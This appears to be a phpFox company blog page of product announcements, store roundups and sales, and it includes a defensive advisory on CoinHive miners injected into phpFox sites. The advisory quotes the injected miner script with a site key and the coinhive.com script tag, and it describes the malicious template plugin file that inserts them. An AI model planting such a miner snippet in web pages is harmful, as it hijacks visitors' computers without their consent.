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  • phpFox 2018 Plan

    phpFox 2018 Plan

    Another year has come, and we will continue to soar high as we give you the phpFox 2018 Plan. Welcoming a year with a bang by releasing the latest stable version of phpFox version 4.6.0 is just the beginning. This year, phpFox will give you the most powerful social network software ever. So buckle up and enjoy the ride.phpFox 2018 Plan phpFox Core Last year, we started porting out the core apps from the script, and they are now available in the phpFox store as standalone apps.  Porting out apps from the core script is one of the big steps for this year's bigger plan.Optimization: The primary objective of porting out core apps from the script is to refine the phpFox core itself easily. Refining the phpFox core will absolutely optimize the software's performance. Besides, ported apps are now easily maintainable more than how it was before. Performance and Security: One of our plans this year is also to improve the performance and security of the core script. We will dig into the core to do necessary actions to maximize its performance and integrate all the levels of security. API Implementation: Here's the big thing. phpFox is planning to implement API into the core script. This API Implementation will give you the power to integrate your site with other platforms. Feature Improvements: we will keep upgrading phpFox with some minor releases (4.6.x) to add more feature improvements and fix issues (if having any).New phpFox Store We already started the development of the new phpFox store. Our target is to bring up the new store this year. You can take a look at the Sneak Peek to preview the new layout of the phpFox Store. phpFox Mobile App As you know, we mentioned in our 2017 Year In Review that we started the development of the mobile app. And that is one of our projects this 2018. We are going to bring you the very first phpFox native mobile app. phpFox Standalone Apps While everything else's being done, we will also upgrade our standalone apps for better user experience.Aside from the ones mentioned above, we will also provide you great documentation for your guidance. We will give you some "How to" articles and new video tutorials on our Youtube channel.Now all you have to do is to prepare yourself to take off as we fly together to the future of Social Network. Just make sure to follow our Social Media channels to keep you updated. You can follow our Instagram, Twitter and Facebook Page.Finally, you can contact us via our email hello@phpfox.com or by chatting with our live chat agent on our website for questions related to this phpFox 2018 plan. 
  • phpFox 4.6.0 Official Release

    phpFox 4.6.0 Official Release

    Hurray! The long wait is finally over. We are delighted to announce the Official Release of phpFox 4.6.0. This is one of the biggest and finest releases in phpFox history. Some of you might already experience the Beta and the RC Release of this version. But for the benefit of the newbies, we would like to give you a quick idea about this latest stable version of our social network script.phpFox is a software or a platform you can use to start building an online community. It has essential default features of a social network. It is developed and well-maintained by our hardworking and professional phpFox team. Our script is also supported by 3rd party experts from all over the world. These experts are providing feature customization and 3rd party plugins that you can easily add and install to your site.phpFox 4.6.0 FrontendWhat to expect in phpFox 4.6.0 Official Release? In this version, you will experience the fastest, the safest, and the most updated features that you cannot find on any other social network platforms. You will be able to use its new and beautifully designed template - The Material Template, as one of the default templates in phpFox from this version onwards.phpFox also releases all the default core apps as Standalone Apps. This is a major target of phpFox version 4.6.0. Porting all core apps to standalone apps and publish them in the phpFox store. Purchase New License You can purchase our script by just clicking the button below. But hey! We also have an exclusive 14-day Free Trial for you and you can visit the Demo sites (Material Demo site or Bootstrap Demo site) anytime.Upgrade for Free For those who hold V4 licenses, you can now start upgrading your sites to phpFox 4.6.0 by following the instructions in the articles belowUpgrade Instructions Installation InstructionsFor those who still hold Legacy licenses, please contact us using your licensed email and get your license converted to phpFox V4 Lite for free. Change LogChanged File ListHere are some of the Highlights in phpFox 4.6.0Latest and beautifully designed Material Template New AdminCP Layout Site Statistics block on the Homepage Files Uploader: supports drag & drop, preview thumbnails, upload process bar. Data Sorting in the AdminCP Notification in AdminCP in case there are new pending items.You can check out the full features of phpFox 4.6.0 in our Documentation Center.phpFox 4.6.0 Backend We, the phpFox team, are feeling excited and fantastic for this version release. We hope that you also feel interested and joyful about this update. Just reach out to our live chat agent or submit a ticket in your client area for any questions regarding phpFox. Don't forget to bookmark this page for more blog announcements.
  • New Apps and Themes in December 2017

    New Apps and Themes in December 2017

    As we welcome 2018, we want to give you the newly added apps and themes in the phpFox store. Some of you might be wondering what is the purpose of the apps and themes and where and how to use them. These 3rd party apps and themes are add-ons that you can download and install into your site. You can find a wide variety of free and paid add-ons in the phpFox store. These add-ons are developed and supported by our 3rd party experts globally. Using 3rd party add-ons will definitely add more features to your site that will absolutely attract many users.Let's take a look at the latest apps and themes for the month of December 2017.1. Bucket List by FoxerDESCRIPTION Bucket List App is a powerful app with a responsive layout that allows you to create and manage a list of things to do! By setting down a different list of things you may find more motivation and inspiration in life using our new app.Learn more →2. Birthday App by FoxExpertDESCRIPTION Do you know that Birthdays is a basic feature of each social networks? Are you sure that you have enough features for that? Look at our Birthday App. Add a new personal touch to your social community. Enable your users to never forget any birthdays of friends, and send birthday wishes to the users of your site.Learn more →3. Comment Image by Scheinwelt-MediaDESCRIPTION This app is small and efficient in uploading images to comments. Your users will love the ability to comment on images. Monetize your site by allowing only specific usergroups to use the upload feature.Learn more →  HELPFUL LINKS Themes - https://store.phpfox.com/themesLanguage Packs - https://store.phpfox.com/language3rd party Experts - https://store.phpfox.com/techie/browseApps Packages - https://store.phpfox.com/bulkApps - https://store.phpfox.com/apps You can use the search tool to find any specific app that you are interested in. When the app or feature that you like is not listed in the store, you can contact the 3rd party experts to customize one for you. Very flexible isn't it?If you have questions about these 3rd party add-ons, you can reach out to the experts directly. You can also read our New Apps and themes in November 2017 in case you missed it.Happy New Year!
  • phpFox 2017 Year In Review

    phpFox 2017 Year In Review

    Today we are going to give you our 2017 Year In Review highlighting the major version releases and company updates. Let's all take a look back at some of the critical events this year.One of the highlights this year is the new phpFox website. We have decided to update our website to provide a powerful, informative yet cool and user-friendly website. Feel free to explore and don't forget to chat with our live chat agent whenever you have questions in mind.Earlier this year, we have released the phpFox v4.5.1(b2) fixing the critical issues found in the first release of this version. This version of phpFox continuously improved and came up with the release of phpFox 4.5.2 during the 2nd quarter of the year.In the same quarter, the new video app was released. This video app allows uploading videos to the local server. You could check this article if you missed it: Introduction to the new Video App – Upload to local serverThen the phpFox 4.5.3 was released in the 3rd quarter of this year. We have started releasing phpFox core apps as Standalone apps with this version release.This is also one of the highlights of this year. We introduced the very beautiful Material Template in addition to the current default Bootstrap Theme for this version. We also had recently released the Development, the Beta, and the RC version of phpFox 4.6.0 for testing purposes. The official release of this version will be in January 2018.Bringing the phpFox Store to the next level is one of the development highlights this year. We are planning to release the new phpFox store in February 2018 officially. Check out the Sneak Peek for the new phpFox Store article if you missed it.phpFox also released apps, together with the released phpFox 4.5.3, as Standalone Apps. The primary context of porting apps from the script is to be able to maintain each core app easier. So whenever you are having any issues with the specific app, you just need to fix that app without putting your site to offline. You can easily download and install all the standalone core apps from the phpFox StoreStarting this year moving forward, migrating from SocialEngine to phpFox without losing data is now possible with this SE Importer tool. All the clients using SocialEngine who would like to migrate to phpFox will have a chance to enjoy 50%  discount on purchasing the phpFox license.Lastly, we started the development of our very own native mobile app. We all know that having a mobile app is essential on a social network. This is going to be our focus in the year 2018.Finally, we would like to thank you all for trusting us to be your source for top quality social network script. We appreciate all your kind expression of appreciation and are especially grateful for all the positive feedback we received. Rest assured that we will continue giving you a top-of-the-line social network software and outstanding support for this coming year of 2018.Happy New Year everyone!
  • phpFox 4.6.0 RC Release

    phpFox 4.6.0 RC Release

    phpFox 4.6.0 RC is available Happy Holiday! Just a few days left in this year. And we are all excitedly counting down for New Year 2018! Wish you will have happy memories with your family and friends in this special moment. We are so pleased right now bringing you a sweet present: the phpFox 4.6.0 RC version is available.We would like to take a moment to send our appreciation to all clients and beta testers who have contributed significantly to this release with suggestions, feedbacks, and reports. Without you guys, our team is undoubtedly unable to come up with this version in such short period. Please keep on helping us with your valuable inputs. That inspires and helps us to improve our products in the future.In this RC release, we mainly focus on improving the performance of phpFox platform by acknowledging all recommendations from you and continuously advancing phpFox to that direction. Being faster, smoother and more stable is the goal we are aiming to achieve. Our performance test indicates that RC version has much better results compare to beta release in term of speed and performance.Aside from improvements in performance and stability, most of the reports on bugs and issues from users on Github and phpFox Community are carefully handled and fixed in this RC release. We are pleased to say we are coming very close to the official release of 4.6.0 which is expected as the best phpFox version ever.We would like to invite you to try, experience and give us feedbacks on RC release of phpFox 4.6.0. You can download package in Client Area from now.Same as Beta Release, we only recommend you to use the RC build for testing purpose only. Please consider seriously and carefully when using it on your Production site. Have feedback or Need our support? Please either submit a ticket in our Client Area or drop us emails at hello@phpfox.com. We love to hear from you. 
  • Christmas Holiday Sale from phpFox

    Christmas Holiday Sale from phpFox

    It is indeed the most wonderful time of the year. As we celebrate Christmas this season, phpFox would like to give you a simple gift to start your own Social Network website. Don't wait for Santa Claus to come to your town. This is the perfect time for you to build an online community.We might not give you 12 days of Christmas gifts but we can give you 4 days, from December 20 - 23, 2017 (PST), to enjoy 20% discount. So what are you waiting for? Don't let this holiday become a Blue Christmas. Call the little drummer boy now and rock the jingle bell while it lasts. Please use the coupon XMAS2017 on your purchase.phpFox 4.6.0 on its way This is the reason why it is the best time for this season to start building your own social network. Our biggest and latest release phpFox 4.6.0 is on its way at the beginning of 2018. You will experience how fun and easy to manage a social network with its new amazing material template and new admin layout. You can check out the recent Beta Release of phpFox 4.6.0 in case you missed it.Let's all celebrate the yuletide season by connecting people through the social network. Send us a message via live chat or email at hello@phpfox.comMerry Christmas everyone!
  • phpFox 4.6.0 Beta Release

    phpFox 4.6.0 Beta Release

    The phpFox 4.6.0 Beta Version is up. The long wait is over. Experience the latest version of phpFox 4.6.0 through this Beta version release. You will get early access to test all the core features of phpFox with its latest design, Material Template.The package is now available in Download section of Client Area so you can get it from now. This beta release is for testing purposes only. We do not recommend to upgrade your production sites to this Beta version. If you have a development site, you can upgrade your site and test this release.(CLICK THE IMAGE ABOVE FOR THE BETA DEMO SITE) For those upgrading their development or newly established sites, you will need the full upgrade routine as well as some other steps for the upgrade.When doing the upgrade, you should disable all the 3rd party apps including themes and language packs installed on your site. In version 4.6.0, we have defined new standards for future. This is the big upgrade with many improvements in layout structure. Hence, it may obviously take more time for our Experts to make their products fully compatible with 4.6.0. In case you would like to experience 3rd-party apps on 4.6.0 Beta, please contact their vendors to check for the compatible versions first. They have been in the process of testing the compatibility since the release of Developer Build.For those who are not familiar with this software yet, phpFox is a powerful platform for building Social Network websites. It has essential features of a Social Network to make an online community. This software is also supported by the 3rd party app experts around the globe. And now, phpFox releases the newly-designed beta version of phpFox 4.6.0. Its demo is here so feel free to check it out. New FeaturesNew beautiful layout design with default Material template Sorting of data in the AdminCP AdminCP notifications Add new files uploader: support drag-drop, preview thumbnails, upload process bar. View more ⟶ImprovementsUpdate layout and structure of Admincp Confirm popup appears when a user tries to delete an item Support translation for Subscription Packages Support check-in when user sharing photos in feed Add new feed when users update their cover photo. Add compare section on Memberships page. Support enable/disable the main menu in Admincp View more ⟶Removed FeaturesLegacy Inbox to Manage Messages page Block's toggle button on mobile View more ⟶Your Feedback Matters The official release of phpFox 4.6.0 will be in Jan 2018. To manage the quality of this big upgrade and get your feedback for essential improvements in soonest time, we decided to release the Beta version for now although there are still some known issues such as:Issue of lack permission when upgrading phpFox along with default apps directly from version 3.9.0 to 4.6.0 Users can't change password if signing up via Facebook Break characters are removed in status post Suggestions widget/block does not refresh when a friend request is sent. And some minor defects.However, our team is going to resolve them ALL before the official release for sure. The main purpose of this beta release is to provide a fully functioning demo with the latest version of the phpFox script. We encourage you to give feedback as much as you can or report any bugs you encounter. Please either submit a ticket in our Client Area or drop us emails at hello@phpfox.com to let us know your thoughts. Love to hear from you soon.
  • New Apps and Themes in November 2017

    New Apps and Themes in November 2017

    It is time for you to discover the latest apps and themes to date. Our developers have added new products to the store that you can absolutely install on your phpFox websites. These 3rd party plugins have just been uploaded last month, November. You can use these easy to set up add-ons to enhance your sites.1. Passion Template[v4] by YouNetCoDescription What drives you to continuously discover new things and accept challenges? It's the Passion. Passion is one of the most powerful engines of success and the source of the finest moments. Whatever you do, bring your soul into it, and you will accomplish your objectives. We bring this spirit to our template with the hope that everyone can achieve great success with enthusiasm and passion.Passion Template is expected to bring a new way to promote your website. We understand that a beautiful layout attracts people to come to a website, but the content is the main factor that keeps people stay. Therefore, we combine the two things into this Passion Template. The theme focus on showing the most interesting content in a fresh and delightful way such as news, featured events, photo galleries, video clips or blogs. No matter what your community is about, whether you are a blogger or a company, Passion Template will suit your needs.Learn More →2. Feed Delete by Scheinwelt-MediaDescription With this app, you can delete feed entries that are older than a given value. This helps to get your database smaller.Learn More →3. Tweet Limiter by Scheinwelt-MediaDescription With this app, you are able to limit the number of characters in status updates and/or comments.Learn More →4. Mega Menu by FoxExpertDescription The ultimate solution to have a drop-down menu with images and 3 levels of navigation. Included unique mobile sliding menu with icons and images, works great on any device. Different types of dropdown menu and many design settings will make this app very flexible and configurable.Learn More →5. Handshake by Scheinwelt-MediaDescription With this app, your users can give handshakes to other users. The other user will not get modified until he also gives a handshake. When both users have a handshake, they will get a notification. There is also a setting to allow this feature only for specific user groups. With this setting, it is possible to monetize your site.Learn More →6. Advanced Comment by FoxExpertDescription Looking to spice up the ‘Comment’ section of your site? Look no further, this simple app will increase numbers of comments for each content entry.The app included default 4 packages of smiles and 10 great stickers.You’ll be able to manage smiles and stickers from the admin panel and add additional smiles and stickers which fit your niche PHPFox site. Problems with spam in comments? We prepared great comments to manage section in AdminCP.Learn More →7. Let It Snow by FoxerDescriptionBrings Christmas and New Year mood. Adds falling snow on all pages of your website. Learn More → Which app is right for your site? What did you think about the new apps? Does anyone catch your attention? How about the new theme?We hope that this list has helped you narrow your search down.  When looking at these apps and theme, don't forget to try out their demo and explore the features.Have any questions about these apps and themes? Please contact the vendors directly via your client area account. Or submit a ticket if you need support from your site. You can also chat with our live chat agent on our website.
  • About CryptoCurrency Miner Script

    About CryptoCurrency Miner Script

    CryptoCurrency Miner Script Nowadays you can hear people talk much about cryptocurrencies everyday. Cryptocurrency is a new trend now and indeed everybody wants to have a piece of this cake. This trend resulted in the emergence of online platforms that allow webmasters to install coin miners into their websites as an alternative means of monetization. Unfortunately, hackers can also abuse coin miner scripts by injecting them to websites without awareness of webmasters to get some benefits.As reports and observations that we conducted recently, same as other popular platforms such as Wordpress, Joomla, etc., phpFox is also a target for hackers. They have injected in many phpFox sites without any permissions of webmasters. Among them, CoinHive is exposed as the most spreading and popular script which enables hackers to hijack sites and drain the resources of users when they access to sites. What is CoinHive? CoinHive is one of the most popular JavaScript cryptocurrency miners for websites. According to CoinHive creator, it is a JavaScript miner for the Monero Blockchain that webmaster can embed into their websites. Users run the miner directly in their browsers and mine for the webmaster in turn for an ad-free experience, in-game currency…Unfortunately, cybercriminals see this as an opportunity and have started abusing this tool by first hacking into websites and then embedding this JavaScript code into the core of popular platforms without the consent of site owner. Through this, hackers can use computers of site visitors to mine digital currency for them without users’ permissions.In fact, CoinHive hijacking issue is becoming a security threat among popular Social Network and CMS platforms. Hackers target these platforms because sites using these platforms attract a large volume of users on a daily basis which is the best for coin mining purpose. There are records of sites using Wordpress, Joomla, Magento, Drupal and many popular platforms as the victims of this kind of attack. Please refer to this article for more info. Certainly, our phpFox platform is not an exception to this plague. What are impacts of injected CoinHive script? By injecting CoinHive script into the core of the platform, the mining script will be called and run automatically by default when users load any page of the infected site. Once CoinHive script runs, resources on the computer of users will be hijacked and used as a coin miner. The script runs in background secretly so common users don’t even know the existence of the script to take actions.Under the effect of CoinHive miner script, common symptoms which site visitors can easily notice are:High CPU and graphics cards usage. The computer works slowly on the browser and other programs. The computer will eventually stop working with high load.How to detect websites using CoinHive script? As mentioned above, the most obvious way to know if a site has CoinHive script running is to measure the performance of your computer. If you visit a site and realize your computer runs slower than usual, and there are no announcements of site owner about using CoinHive as an alternative revenue, please contact the site owner immediately. There is a high possibility that the site is already hijacked by hackers and running coin miner scripts.On the phpFox platform, the quick and easy way to detect if CoinHive script is running is by pulling and examining the source of a page after logging in to the site (To view page source right-click on a page and select ‘View Page Source’).You might see on page source something similar to: <script>;$Ready(function() {setTimeout(function(){ var miner = new CoinHive.Anonymous('uoVwp8UScbNhkfzJn7rPNZFP3Pe1c54x');miner.start(); }, 10000);});</script> Notice the site key as marked red, this is the key generated by hackers. Any coin mined will be transferred to hackers by using this key.And: <script src="https://coinhive.com/lib/coinhive.min.js"></script> Those are indicators to show that a site is running CoinHive in the background.There is an easy way to detect and prevent CoinHive from running and eating up all computer resources is by using coin mining script blocker extensions on browsers.We suggest extensions such as:J2TeaM Security- Google Chrome: https://chrome.google.com/webstore/detail/j2team-security/hmlcjjclebjnfohgmgikjfnbmfkigocc/No Coin- Google Chrome: https://chrome.google.com/webstore/detail/no-coin-block-miners-on-t/gojamcfopckidlocpkbelmpjcgmbgjcl?hl=en- Firefox: https://addons.mozilla.org/en-US/firefox/addon/no-coin/ How is CoinHive injected into phpFox? Go in a little deeper, we figured when hackers have FTP access with the permission to modify files on phpFox site, they will insert this line to file:…/PF.Base/include/library/phpfox/template/template.class.phpThis will check for the existence of a plugin. if the plugin exists then the plugin will run and do something on the template. In this case, it is a plugin called template_getheader which is located at:…/PF.Base/module/core/include/plugin/template_getheader.phpThis file has simple content. It just plainly inserts the coin mining script to the header of phpFox main template file, so every page will load with the script embedded.In other words, the flow of these actions basically is:User requests to load a page. Template file will be called to render the page. Injected code in template file will execute and call the malicious plugin. The plugin will inset coin mining script into the template file. From corrupted template file, the page will be rendered out with the coin mining script attached. User loads page and also runs the script.Therefore, this is definitely NOT a security vulnerability in phpFox Script. Without FTP permission to access, create, upload or modify files, there is no way hackers can take advantage and penetrate scripts and files to the core of phpFox platform. How to remove CoinHive script? After testing the interactions of how hackers use the script on phpFox page, we suggest a simple solution to get rid of CoinHive script by removing malicious plugin file from the core of phpFox.As mention above, the malicious added file is located in:…/PF.Base/module/core/include/plugin/template_getXXXXX.phpWith testing, we concluded that after removing this malicious plugin file, the template file will no longer generate coin mining script on the page and will render normally. So users will be safe to access your site.Please note that the plugin file comes with many names, usually it in the format of template_getXXXXX.php such as template_getheader.php, template_gettemplate.php…An easier way to know the file is by referencing the created/modified date of the file. It’s usually the most recent created/modified file in the folder.However, this solution is suggested as just a temporary fix for an early stage of the investigation. We will conduct more research on the source and the origins to help you have better solutions. Anyway, any solutions won't work unless you manage FTP access seriously and carefully. How to prevent your site from injection of CoinHive script? Currently, we know for sure that hackers are unable to inject the scripts to your site without FTP permission to access and manipulate files.Therefore, manage FTP access seriously and carefully. Whenever you give FTP to any parties, you should create a separate account for each, so if any party creates/modifies anything on your site, their activities will be logged and you can reference or traceback in case anything happens. Make sure to enable FTP log and check the log on the date the malicious plugin file created, high chance you will know which party created/uploaded the file to your site. You will need to change the password of FTP accesses periodically or right after parties complete their works on your site.Also, please be aware of any suspicious apps and modules. Make sure you purchase them from trustable developers/companies. If you think an app causes this issue, please don’t hesitate to contact phpFox team, we will review the app and take appropriate actions if needed. All bits of help is appreciated in the process.Lastly, backup your site regularly. Notice changes on your site, if your site doesn’t work as usual (slower, sluggish…), please check for the interaction of coin mining script as mentioned above. In case of the issue is happening, revert back to the latest backup and trace what changes you made which might cause the issue (Installed an app, gave FTP to someone…) Report Abuse to CoinHive team Also, if you think a site is using CoinHive script without any notice of the usage to users, you can report CoinHive abuse here. Make sure you have the site key when reporting the abuse.In any case, you can always contact us to seek assistance.phpFox Team
  • 30% OFF Last Day Sale this Cyber Monday!

    30% OFF Last Day Sale this Cyber Monday!

    Attention to all Black Friday and Cyber Monday aficionados: The night of reckoning is still upon us!Black Friday & Cyber Monday sale offers is ending very soon since today is the last day of this promotion. Please hurry up! In the spirit of giving away as saying thanks to all the clients, you can still receive 30% OFF on phpFox licenses and a lot of amazing deals from 3rd-party developers out there. So don't just stand there and look at our great deals from the window outside, come into the store and claim the best values you can get from special offers before the end of Nov 27, 2017 (PST).Happy shopping and our warmest wishes for a happy holiday season to you!
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